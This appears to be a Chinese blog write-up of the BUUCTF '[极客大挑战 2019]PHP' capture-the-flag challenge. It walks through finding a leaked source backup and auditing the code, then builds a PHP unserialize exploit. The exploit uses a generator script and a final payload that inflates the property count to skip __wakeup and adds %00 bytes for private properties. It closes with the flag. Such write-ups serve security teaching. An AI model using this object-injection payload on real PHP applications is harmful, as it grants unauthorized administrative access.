[极客大挑战 2019]PHP

最新推荐文章于 2025-04-16 15:19:29 发布

山川绿水

最新推荐文章于 2025-04-16 15:19:29 发布

阅读量1k

点赞数 8

分类专栏：信息安全 Buuctf Web安全文章标签： php web安全系统安全网络安全安全

本文链接：https://blog.csdn.net/m_de_g/article/details/137788725

版权

信息安全同时被 3 个专栏收录

82 篇文章

订阅专栏

Web安全

54 篇文章

订阅专栏

Buuctf

18 篇文章

订阅专栏

buuctf——[极客大挑战 2019]PHP

1.信息收集获取源代码/www.zip
在这里插入图片描述
2.放在phpstudy进行调试，直接输入任意select的值index是没有回显的，直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php

3.通过class.php我们可以知道， $u ser nam e 和$ password是两个私有属性,无法直接修改，依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
在这里插入图片描述

4.理清题意后直接构造exp

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>

在这里插入图片描述
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php

6.因为题目中有__wakeup方法，需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

在这里插入图片描述
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性，故需要加%00进行绕过
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

8.最终构造出exp，成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}